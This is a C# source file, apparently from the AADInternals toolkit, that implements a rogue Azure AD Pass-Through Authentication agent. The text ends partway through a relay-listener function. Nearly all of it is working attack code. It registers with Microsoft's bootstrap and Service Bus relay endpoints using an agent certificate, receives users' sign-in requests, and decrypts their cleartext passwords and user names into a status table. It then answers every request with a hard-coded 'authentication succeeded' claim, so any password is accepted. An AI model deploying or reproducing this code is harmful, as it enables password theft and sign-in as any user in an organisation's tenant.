PTAAgent.cs

using System;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Net.WebSockets;
using System.Threading;
using System.Security.Cryptography.X509Certificates;
using System.Threading.Tasks;
using System.Xml;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Web;
using System.Collections;
 
 
namespace AADInternals
{
    public class PTAAgent
    {
        // variables
        private string subscriptionId;
        private string connectorId;
        private string machineName;
        private X509Certificate2 certificate;
        private Hashtable status;
 
 
        private HttpClient client;
 
        public PTAAgent(X509Certificate Certificate, string MachineName)
        {
            // Initialise variables
            this.certificate = new X509Certificate2(Certificate);
            this.machineName = MachineName;
            this.status = Hashtable.Synchronized(new Hashtable());
 
            // Get the ids from the certificate
            this.subscriptionId = this.certificate.GetNameInfo(X509NameType.SimpleName, false);
            this.connectorId = new Guid((this.certificate).Extensions["1.3.6.1.4.1.311.82.1"].RawData).ToString();
 
            // Create the http client with authentication certificate
            HttpClientHandler handler = new HttpClientHandler();
            handler.ClientCertificates.Add(this.certificate);
            this.client = new HttpClient(handler);
        }
 
        public Hashtable GetStatus()
        {
            return this.status;
        }
 
        public void StartAgent()
        {
            // Get the bootstrap
            var result = GetBootstrapConfiguration();
            string bootStrap = result.Result;
            XmlDocument doc = new XmlDocument();
            doc.LoadXml(bootStrap);
 
            XmlNamespaceManager nsmgr = new XmlNamespaceManager(doc.NameTable);
            nsmgr.AddNamespace("a", "http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel");
            XmlNodeList endpoints = doc.SelectNodes("//a:SignalingListenerEndpointSettings", nsmgr);
 
            // Loop through the endpoints
            int n = 1;
            foreach (XmlNode endpoint in endpoints)
            {
                EndpointSettings es = new EndpointSettings();
                es.certificate = this.certificate;
 
                es.number = n++;
                es.isAvailable = endpoint.SelectSingleNode("a:IsAvailable", nsmgr).InnerText.Equals("true");
                es.name = endpoint.SelectSingleNode("a:Name", nsmgr).InnerText;
                es.domain = endpoint.SelectSingleNode("a:Domain", nsmgr).InnerText;
                es.nameSpace = endpoint.SelectSingleNode("a:Namespace", nsmgr).InnerText;
                es.reliableSessionEnabled = endpoint.SelectSingleNode("a:ReliableSessionEnabled", nsmgr).InnerText.Equals("true");
                es.scheme = endpoint.SelectSingleNode("a:Scheme", nsmgr).InnerText;
                es.servicePath = endpoint.SelectSingleNode("a:ServicePath", nsmgr).InnerText;
                es.sharedAccessKey = endpoint.SelectSingleNode("a:SharedAccessKey", nsmgr).InnerText;
                es.sharedAccessKeyName = endpoint.SelectSingleNode("a:SharedAccessKeyName", nsmgr).InnerText;
 
                Console.WriteLine("Connector {0} connecting to: {1}",es.number, es.nameSpace);
 
                Thread thread = new Thread(StartEndpointListener);
                Hashtable endpointParameters = new Hashtable();
                endpointParameters.Add("endpointsettings", es);
                endpointParameters.Add("status", status);
                thread.Start(endpointParameters);
 
            }
        }
 
         
        // Get the boot strap configuration
        public async Task<string> GetBootstrapConfiguration()
        {
            string body = string.Format(@"
                <BootstrapRequest xmlns=""http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.SignalerDataModel"" xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"">
                    <AgentSdkVersion>1.5.1542.0</AgentSdkVersion>
                    <AgentVersion>1.5.1542.0</AgentVersion>
                    <BootstrapAddOnRequests i:nil=""true""/>
                    <BootstrapDataModelVersion>1.5.1542.0</BootstrapDataModelVersion>
                    <ConnectorId>{0}</ConnectorId>
                    <ConnectorVersion i:nil=""true""/>
                    <ConsecutiveFailures>0</ConsecutiveFailures>
                    <CurrentProxyPortResponseMode>Primary</CurrentProxyPortResponseMode>
                    <FailedRequestMetrics xmlns:a=""http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel""/>
                    <InitialBootstrap>true</InitialBootstrap>
                    <IsProxyPortResponseFallbackDisabledFromRegistry>true</IsProxyPortResponseFallbackDisabledFromRegistry>
                    <LatestDotNetVersionInstalled>461814</LatestDotNetVersionInstalled>
                    <MachineName>{1}</MachineName>
                    <OperatingSystemLanguage>1033</OperatingSystemLanguage>
                    <OperatingSystemLocale>040b</OperatingSystemLocale>
                    <OperatingSystemSKU>7</OperatingSystemSKU>
                    <OperatingSystemVersion>10.0.17763</OperatingSystemVersion>
                    <ProxyDataModelVersion>1.5.1542.0</ProxyDataModelVersion>
                    <RequestId>{2}</RequestId>
                    <SubscriptionId>{3}</SubscriptionId>
                    <SuccessRequestMetrics xmlns:a=""http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel""/>
                    <TriggerErrors/>
                    <UpdaterStatus>Running</UpdaterStatus>
                    <UseServiceBusTcpConnectivityMode>false</UseServiceBusTcpConnectivityMode>
                    <UseSpnegoAuthentication>false</UseSpnegoAuthentication>
                </BootstrapRequest>",this.connectorId, this.machineName, Guid.NewGuid().ToString(),subscriptionId);
 
            string url = string.Format("https://{0}.bootstrap.msappproxy.net/ConnectorBootstrap", this.subscriptionId);
 
            HttpContent content = new StringContent(body, Encoding.UTF8, "application/xml");
            HttpResponseMessage response = await client.PostAsync(url, content);
 
            string responseBody = await response.Content.ReadAsStringAsync();
 
            return responseBody;
        }
         
        private static byte[] CreateRelayConnectionMessage(string connectionId, string nameSpace)
        {
            byte[] relayConnectionBytes = Encoding.UTF8.GetBytes(string.Format("RelayConnection_{0}", connectionId));
            byte[] hostBytes = Encoding.UTF8.GetBytes(string.Format("{0}-relay.servicebus.windows.net", nameSpace));
            List<byte> lBody = new List<byte>();
            lBody.AddRange(new byte[] { 0x0A, 0xA1 });
            lBody.Add((byte)relayConnectionBytes.Length);
            lBody.AddRange(relayConnectionBytes);
            lBody.Add(0xA1);
            lBody.Add((byte)hostBytes.Length);
            lBody.AddRange(hostBytes);
            lBody.AddRange(new byte[] { 0x70, 0x00, 0x01, 0x00, 0x00, 0x60, 0x1F, 0xFF, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40 });
 
            List<byte> lHeader = new List<byte>();
            lHeader.AddRange(new byte[] { 0x00, 0x00, 0x00 });
            lHeader.Add((byte)(9 + lBody.Count + 4));
            lHeader.AddRange(new byte[] { 0x02, 0x00, 0x00, 0x00, 0x00, 0x53, 0x10, 0xC0 });
            lHeader.Add((byte)lBody.Count);
 
            List<byte> lMessage = new List<byte>();
            lMessage.AddRange(lHeader.ToArray());
            lMessage.AddRange(lBody.ToArray());
 
            return lMessage.ToArray();
        }
 
        private static Credentials DecodePTACredential(string AuthRequest, X509Certificate2 Certificate)
        {
            // Extract the connector Id from the certificate
            string connectorId = new Guid((Certificate).Extensions["1.3.6.1.4.1.311.82.1"].RawData).ToString();
            Credentials credentials = new Credentials();
 
            // Parse the json
            string json = AuthRequest;
 
            int p = json.IndexOf("EncryptedData");
            int s = json.IndexOf("[", p); // [
            int e = json.IndexOf("]", p); // ]
 
            p = s + 1;
            while (p < e - 1)
            {
                int e2 = json.IndexOf("}", p);
                int l = e2 - p;
                string dataEntry = json.Substring(p + 1, l - 1);
                string[] data = dataEntry.Split(',');
 
                string key = data[2].Split(':')[1].Trim();
                key = key.Substring(1, key.Length - 2);
                string encData = data[1].Split(':')[1].Trim();
                encData = encData.Substring(1, encData.Length - 2).Replace("\\/", "/");
 
                // Check whether we had a correct certificate
                if (connectorId.Equals(key.Split('_')[0]))
                {
                    // Now try to decrypt
                    byte[] encryptedData = Convert.FromBase64String(encData);
                    byte[] decryptedData = ((RSACryptoServiceProvider)new X509Certificate2(Certificate).PrivateKey).Decrypt(encryptedData, true);
                    string password = Encoding.UTF8.GetString(decryptedData);
 
                    password = password.Substring(password.IndexOf(":") + 2);
                    password = password.Substring(0, password.Length - 2);
                    password = System.Text.RegularExpressions.Regex.Unescape(password);
 
                    credentials.password = password;
                }
 
                p = e2 + 1;
            }
 
            // Extract the username
            string userName = json.Substring(json.IndexOf(':', json.IndexOf("UserPrincipalName")));
            userName = userName.Substring(2, userName.Length - 6);
            credentials.userName = userName;
             
            return credentials;
        }
 
        private static string GetSASToken(string url, string key, string keyName)
        {
            // Create the HMAC object
            byte[] keyBytes = Encoding.UTF8.GetBytes(key);
            HMAC hmac = new HMACSHA256(keyBytes);
 
            // Convert expiry date to unix time
            var expires = (new DateTime()).AddDays(1);
            string exp = string.Format("{0}", (UInt32)(((DateTimeOffset)expires).ToUniversalTime()).ToUnixTimeSeconds());
 
            // Form the string to be signed
            string nameSpace = url.Split('/')[2];
            string urlToSign = string.Format("{0}\n{1}",HttpUtility.UrlEncode(url), exp);
            byte[] byteUrl = Encoding.UTF8.GetBytes(urlToSign);
 
            // Calculate the signature
            byte[] byteHash = hmac.ComputeHash(byteUrl);
            string signature = Convert.ToBase64String(byteHash);
 
            // Form the token
            string SASToken = string.Format("SharedAccessSignature sr={0}&sig={1}&se={2}&skn={3}", HttpUtility.UrlEncode(url), HttpUtility.UrlEncode(signature),exp,keyName);
 
            return SASToken;
        }
 
        private static byte[] CreateLinkMessage(EndpointSettings settings, string relayLinkId, string trackingId, string direction)
        {
            // Define some variables
            string link = string.Format("RelayLink_{0}:{1}", relayLinkId, direction);
            string sbUrl = string.Format("sb://{0}.servicebus.windows.net/{1}/", settings.nameSpace,settings.servicePath);
            string sasUrl = string.Format("http://{0}.servicebus.windows.net/{1}/", settings.nameSpace, settings.servicePath);
            string sas = GetSASToken(sasUrl, settings.sharedAccessKey, settings.sharedAccessKeyName);
 
            string swt = "com.microsoft:swt";
            string client = "com.microsoft:client-agent";
            string svbus = "ServiceBus/3.0.51093.14;";
            string dynrel = "com.microsoft:dynamic-relay";
            string listener = "com.microsoft:listener-type";
            string relcon = "RelayedConnection";
            string trackId = "com.microsoft:tracking-id";
 
            // Construct the message
            List<byte> lBody = new List<byte>();
            lBody.AddRange(new byte[] { 0x00, 0x00, 0x00, 0x0E, 0xA1 });
            lBody.Add((byte)link.Length);
            lBody.AddRange(Encoding.UTF8.GetBytes(link));
             
            // Some fixed bytes - may mean something or not
            if (direction.Equals("out"))
            {
                lBody.AddRange(new byte[] { 0x43, 0x42, 0x40, 0x40, 0x00, 0x53, 0x28, 0xC0, 0x0C, 0x0B, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x00, 0x53, 0x29, 0xC0, 0x7E, 0x07 });
            }
            else
            {
                lBody.AddRange(new byte[] { 0x52, 0x01, 0x41, 0x40, 0x40, 0x00, 0x53, 0x28, 0xC0, 0x82, 0x0B });
            }
            lBody.Add(0xA1);
            lBody.Add((byte)sbUrl.Length);
            lBody.AddRange(Encoding.UTF8.GetBytes(sbUrl));
 
            // Null values (0x40) and some other stuff
            if (direction.Equals("out"))
            {
                lBody.AddRange(new byte[] { 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0xD1, 0x00, 0x00, 0x01, 0xC9, 0x00, 0x00, 0x00, 0x0A });
            }
            else
            {
                lBody.AddRange(new byte[] { 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x00, 0x53, 0x29, 0xC0, 0x08, 0x07, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0xD1, 0x00, 0x00, 0x01, 0xC9, 0x00, 0x00, 0x00, 0x0A });
            }
 
            lBody.Add(0xA3); // symbol (utf8 string)
            lBody.Add((byte)swt.Length);
            lBody.AddRange(Encoding.UTF8.GetBytes(swt));
            lBody.Add(0xA1); // value (utf8 string)
            lBody.Add((byte)sas.Length);
            lBody.AddRange(Encoding.UTF8.GetBytes(sas));
 
            lBody.Add(0xA3); // symbol (utf8 string)
            lBody.Add((byte)client.Length);
            lBody.AddRange(Encoding.UTF8.GetBytes(client));
            lBody.Add(0xA1); // value (utf8 string)
            lBody.Add((byte)svbus.Length);
            lBody.AddRange(Encoding.UTF8.GetBytes(svbus));
 
            lBody.Add(0xA3); // symbol (utf8 string)
            lBody.Add((byte)dynrel.Length);
            lBody.AddRange(Encoding.UTF8.GetBytes(dynrel));
 
            lBody.Add(0x42); // Don't know what this is -> ascii for "B"
 
            lBody.Add(0xA3); // symbol (utf8 string)
            lBody.Add((byte)listener.Length);
            lBody.AddRange(Encoding.UTF8.GetBytes(listener));
            lBody.Add(0xA1); // value (utf8 string)
            lBody.Add((byte)relcon.Length);
            lBody.AddRange(Encoding.UTF8.GetBytes(relcon));
 
            lBody.Add(0xA3); // symbol (utf8 string)
            lBody.Add((byte)trackId.Length);
            lBody.AddRange(Encoding.UTF8.GetBytes(trackId));
            lBody.Add(0xA1); // value (utf8 string)
            lBody.Add((byte)trackingId.Length);
            lBody.AddRange(Encoding.UTF8.GetBytes(trackingId));
 
            // Calculate lengths
            byte[] msgLength = BitConverter.GetBytes(lBody.Count);
            byte[] totalLength = BitConverter.GetBytes(lBody.Count + 16);
            Array.Reverse(msgLength);
            Array.Reverse(totalLength);
 
            // Construct the final message
            List<byte> lMessage = new List<byte>();
            lMessage.AddRange(totalLength);
            lMessage.AddRange(new byte[] { 0x02, 0x00, 0x00, 0x00, 0x00, 0x53, 0x12, 0xD0 });
            lMessage.AddRange(msgLength);
            lMessage.AddRange(lBody.ToArray());
 
            return lMessage.ToArray();
        }
 
        // Starts the proxy listener
        private static async void StartProxyListener(object proxyParameters)
        {
            Hashtable parameters = (Hashtable)proxyParameters;
            ProxySettings settings = (ProxySettings)parameters["proxysettings"];
            Hashtable status = (Hashtable)parameters["status"];
 
            // Build the url
            string url = string.Format("wss://{0}/subscriber/websocketconnect?requestId={1}", settings.url, Guid.NewGuid().ToString());
 
            // Create a socket and connect to it
            ClientWebSocket socket = new ClientWebSocket();
 
            try
            {
                socket.Options.ClientCertificates.Add(settings.certificate);
 
                socket.Options.SetRequestHeader("x-cwap-dnscachelookup-result", "NotUsed");
                socket.Options.SetRequestHeader("x-cwap-connector-usesdefaultproxy", "InUse");
                socket.Options.SetRequestHeader("x-cwap-connector-version", "1.5.1542.0");
                socket.Options.SetRequestHeader("x-cwap-datamodel-version", "1.5.1542.0");
                socket.Options.SetRequestHeader("x-cwap-connector-sp-connections", "0");
                socket.Options.SetRequestHeader("x-cwap-transid", settings.transId);
                CancellationToken token = new CancellationToken();
 
                var connection = socket.ConnectAsync(new Uri(url), token);
                while (!connection.IsCompleted) { Thread.Sleep(100); };
                if (connection.IsFaulted.Equals("true"))
                {
                    Console.WriteLine("ProxyListener failed to connect to {0}", settings.url);
                    return;
                }
 
                //Console.WriteLine("Connected to proxy {0}", settings.url);
 
                // Send the connection id message
                string connectionIdMessage = string.Format("{{\"ConnectionId\":\"{0}\",\"MessageType\":0}}", settings.connectionId);
                SendToSocket(socket, token, Encoding.UTF8.GetBytes(connectionIdMessage));
 
                // Define the user claim
                List<string> claims = new List<string>();
                // Success
                claims.Add(@"[{""ClaimType"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication"",""Resource"":true,""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""},{""ClaimType"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/name"",""Resource"":""anyone@anydomain"",""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""}]");
                // EncryptionDataNotFound
                claims.Add(@"[{""ClaimType"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication"",""Resource"":false,""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""},{""ClaimType"":""http:\/\/msappproxy.net\/ws\/2015\/02\/identity\/claims\/validationfailurereasoning"",""Resource"":""EncryptionDataNotFound"",""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""}]");
                // 1326: The user name or password is incorrect
                claims.Add(@"[{""ClaimType"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication"",""Resource"":false,""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""},{""ClaimType"":""http:\/\/msappproxy.net\/ws\/2015\/02\/identity\/claims\/validationfailurereasoning"",""Resource"":""1326"",""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""}]");
                // 1327: Account restrictions are preventing this user from signing in. For example: blank passwords aren't allowed, sign-in times are limited , or a policy restriction has been enforced.
                claims.Add(@"[{""ClaimType"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication"",""Resource"":false,""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""},{""ClaimType"":""http:\/\/msappproxy.net\/ws\/2015\/02\/identity\/claims\/validationfailurereasoning"",""Resource"":""1327"",""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""}]");
                // 1328: Your account has time restrictions that keep you from signing in right now
                claims.Add(@"[{""ClaimType"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication"",""Resource"":false,""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""},{""ClaimType"":""http:\/\/msappproxy.net\/ws\/2015\/02\/identity\/claims\/validationfailurereasoning"",""Resource"":""1328"",""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""}]");
                // 1329: This user isn't allowed to sign in to this computer
                claims.Add(@"[{""ClaimType"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication"",""Resource"":false,""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""},{""ClaimType"":""http:\/\/msappproxy.net\/ws\/2015\/02\/identity\/claims\/validationfailurereasoning"",""Resource"":""1329"",""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""}]");
                // 1330: The password for this account has expired.
                claims.Add(@"[{""ClaimType"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication"",""Resource"":false,""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""},{""ClaimType"":""http:\/\/msappproxy.net\/ws\/2015\/02\/identity\/claims\/validationfailurereasoning"",""Resource"":""1330"",""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""}]");
                // 1331: This user can't sign in because this account is currently disabled.
                claims.Add(@"[{""ClaimType"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication"",""Resource"":false,""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""},{""ClaimType"":""http:\/\/msappproxy.net\/ws\/2015\/02\/identity\/claims\/validationfailurereasoning"",""Resource"":""1331"",""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""}]");
                // 1311: Domain not available
                claims.Add(@"[{""ClaimType"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication"",""Resource"":false,""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""},{""ClaimType"":""http:\/\/msappproxy.net\/ws\/2015\/02\/identity\/claims\/validationfailurereasoning"",""Resource"":""1311"",""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""}]");
                // 1317: The specified account does not exist
                claims.Add(@"[{""ClaimType"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication"",""Resource"":false,""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""},{""ClaimType"":""http:\/\/msappproxy.net\/ws\/2015\/02\/identity\/claims\/validationfailurereasoning"",""Resource"":""1317"",""Right"":""http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity""}]");
 
 
                url = string.Format("https://{0}/subscriber/connection?requestId={1}", settings.url, Guid.NewGuid().ToString());
 
                // Create the http client with certificate auth
                HttpClientHandler handler = new HttpClientHandler();
                handler.ClientCertificates.Add(settings.certificate);
                HttpClient client = new HttpClient(handler);
 
                client.DefaultRequestHeaders.Add("x-cwap-dnscachelookup-result", "NotUsed");
                client.DefaultRequestHeaders.Add("x-cwap-connector-usesdefaultproxy", "InUse");
                client.DefaultRequestHeaders.Add("x-cwap-connector-version", "1.5.1542.0");
                client.DefaultRequestHeaders.Add("x-cwap-datamodel-version", "1.5.1542.0");
                client.DefaultRequestHeaders.Add("x-cwap-connector-sp-connections", "1");
                client.DefaultRequestHeaders.Add("x-cwap-transid", settings.transId);
                client.DefaultRequestHeaders.Add("x-cwap-sessionid", "00000000-0000-0000-0000-000000000000");
                client.DefaultRequestHeaders.Add("x-cwap-certificate-authentication", "notProcessed");
                client.DefaultRequestHeaders.Add("x-cwap-headers-size", "0");
                client.DefaultRequestHeaders.Add("x-cwap-connector-be-latency-ms", "27");
                client.DefaultRequestHeaders.Add("x-cwap-payload-total-attempts", "0");
                client.DefaultRequestHeaders.Add("x-cwap-connector-loadfactor", "0");
                client.DefaultRequestHeaders.Add("x-cwap-response-total-attempts", "1");
                client.DefaultRequestHeaders.Add("x-cwap-connector-all-latency-ms", "70");
 
                // Loop
                while (socket.State == WebSocketState.Open)
                {
                    // Add the random claim, just for fun :D
                    //string userClaim = claims[new Random().Next(0,claims.Count-1)];
                    string userClaim = claims[0];
                    client.DefaultRequestHeaders.Add("x-cwap-backend-response", Convert.ToBase64String(Encoding.UTF8.GetBytes(userClaim)));
 
                    byte[] response = ReadFromSocket(socket, token, 2048);
                    string authRequest = Encoding.UTF8.GetString(response);
 
                    Credentials cred = DecodePTACredential(authRequest, settings.certificate);
 
                    List<Credentials> creds = (List<Credentials>)status[settings.url];
                    if (creds == null)
                    {
                        creds = new List<Credentials>();
                    }
                    creds.Add(cred);
 
                    status[settings.url] = creds;
 
                    try
                    {
                        await client.PostAsync(url, null);
                    }
                    catch
                    {
                        //Console.WriteLine("Oops, that didn't work :(");
                    }
 
                    // Close the socket
                    await socket.CloseAsync(System.Net.WebSockets.WebSocketCloseStatus.NormalClosure,"",token);
                }
            }
            catch { }
            finally
            {
                socket.Dispose();
            }
        }
        // Starts the relay listener
        private static void StartRelayListener(object relayParameters)
        {
            Hashtable parameters = (Hashtable)relayParameters;
            RelaySettings settings = (RelaySettings)parameters["relaysettings"];
            Hashtable status = (Hashtable)parameters["status"];
 
            Hashtable proxies = new Hashtable();
 
            // Build the url
            string url = string.Format("wss://{0}/{1}servicebus/websocket", settings.hostName, '\x0024');
 
            // Create a socket and connect to it
            ClientWebSocket socket = new ClientWebSocket();
 
            // Sleep for a while
            Thread.Sleep(new Random().Next(100,200));
 
            try
            {
                socket.Options.ClientCertificates.Add(settings.certificate);
                socket.Options.AddSubProtocol("wsrelayedconnection");
                CancellationToken token = new CancellationToken();
 
                var connection = socket.ConnectAsync(new Uri(url), token);
                while (!connection.IsCompleted) { Thread.Sleep(100); };
                if (connection.IsFaulted.Equals("true"))
                {
                    Console.WriteLine("RelayListener failed to connect to {0}", settings.hostName);
                    return;
                }
 
                // Step 1: Send "I'm a live!"
                byte[] message = { 0x1E, 0X01, 0X00, 0X00 };
                SendToSocket(socket, token, message);
 
                // Step 2: Send RelayedAccept
                List<byte> lMessage = new List<byte>();
                lMessage.AddRange(new byte[] { 0x56, 0x02, 0x0B, 0x01, 0x73, 0x04, 0x0B, 0x01, 0x61, 0x06, 0x56, 0x08, 0x44, 0x0A, 0x1E, 0x00, 0x82, 0x99, 0x0D, 0x52, 0x65, 0x6C, 0x61, 0x79, 0x65, 0x64, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x44, 0x0C, 0x1E, 0x00, 0x82, 0x99, 0x46, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x73, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x32, 0x30, 0x30, 0x35, 0x2F, 0x31, 0x32, 0x2F, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x4D, 0x6F, 0x64, 0x65, 0x6C, 0x2F, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6E, 0x67, 0x2F, 0x41, 0x6E, 0x6F, 0x6E, 0x79, 0x6D, 0x6F, 0x75, 0x73, 0x01, 0x56, 0x0E, 0x40, 0x0D, 0x52, 0x65, 0x6C, 0x61, 0x79, 0x65, 0x64, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x08, 0x43, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x73, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x6E, 0x65, 0x74, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x2F, 0x32, 0x30, 0x30, 0x39, 0x2F, 0x30, 0x35, 0x2F, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x62, 0x75, 0x73, 0x2F, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x09, 0x01, 0x69, 0x29, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x77, 0x33, 0x2E, 0x6F, 0x72, 0x67, 0x2F, 0x32, 0x30, 0x30, 0x31, 0x2F, 0x58, 0x4D, 0x4C, 0x53, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x2D, 0x69, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x63, 0x65, 0x40, 0x02, 0x49, 0x64, 0x99, 0x24 });
                lMessage.AddRange(Encoding.UTF8.GetBytes(settings.relayId));
                lMessage.AddRange(new byte[] { 0x01, 0x01, 0x01 });
                SendToSocket(socket, token, lMessage.ToArray());
 
                // Step 3: Receive "Okay, thanks" 0x98 0x00 0x00 0x00
                ReadFromSocket(socket, token, 256);
 
                // Step 4: Receive RelayedAcceptReply
                //ReadFromSocket(socket, token, 256);
 
                // Loop
                byte[] sbUrl=null;
                string proxyUrl;
                string transId;
                string connectionId;
                byte[] id1 = new byte[16];
                byte[] seqId = new byte[16];
                byte[] id2 = new byte[16];
                byte[] conId = Guid.NewGuid().ToByteArray();
 
                while (socket.State == WebSocketState.Open)
                {
                    // Read the message and see what it is
 
                    byte[] response = ReadFromSocket(socket, token, 2048);
 
                    // Something went wrong :(
                    if (response == null)
                    {
                        Console.WriteLine("{0} response was null :(", settings.hostName);
                        break;
                    }
 
                    //Console.WriteLine("{0} response length: {1}",settings.hostName, response.Length);
                    // tempuri.org message
                    if (response.Length > 630)
                    {
                        int idPos = 59;
                        if(response.Length > 1000)
                        {
                            idPos = 684;
                        }
                        // Step 9: receive the tempuri.org message
                        //response = ReadFromSocket(socket, token, 2048);
                         
                        Array.Copy(response, idPos, id2, 0, 16);
 
                        // Parse stings (10)
                        List<string> lStrings = new List<string>();
                        int found = 1;
                        for (int a = response.Length - 1; a > 0 & found < 10; a--)
                        {
                            if (response[a] == 0x99)
                            {
                                // Get length byte
                                int l = response[a + 1];
                                lStrings.Add(Encoding.UTF8.GetString(response, a + 2, l));
                                found++;
                            }
                        }
 
                        proxyUrl = lStrings[4];
                        transId = lStrings[2];
                        connectionId = lStrings[0];
 
                        Console.WriteLine("{0} transId: {1}", settings.hostName, transId);
 
                        // Step 10: send some response
                        lMessage = new List<byte>();
                        lMessage.AddRange(new byte[] { 0x06, 0x55, 0x00, 0x56, 0x02, 0x0B, 0x01, 0x73, 0x04, 0x0B, 0x01, 0x72, 0x20, 0x0B, 0x01, 0x61, 0x06, 0x56, 0x08, 0x55, 0x2E, 0x55, 0x1E, 0xAD });
                        lMessage.AddRange(conId);
                        lMessage.AddRange(new byte[] { 0x55, 0x30, 0x06, 0x34, 0x82, 0x06, 0x32, 0x82, 0x01, 0x43, 0x05, 0x6E, 0x65, 0x74, 0x72, 0x6D, 0x36, 0x0B, 0x05, 0x6E, 0x65, 0x74, 0x72, 0x6D, 0x38, 0x89, 0x08, 0x01, 0x44, 0x0A, 0x1E, 0x00, 0x82, 0xAB, 0x3A, 0x44, 0x0C, 0x1E, 0x00, 0x82, 0xAB, 0x14, 0x01, 0x56, 0x0E, 0x01, 0x01 });
                        SendToSocket(socket, token, lMessage.ToArray());
 
                        // Step 11: send tempuri reply
                        lMessage = new List<byte>();
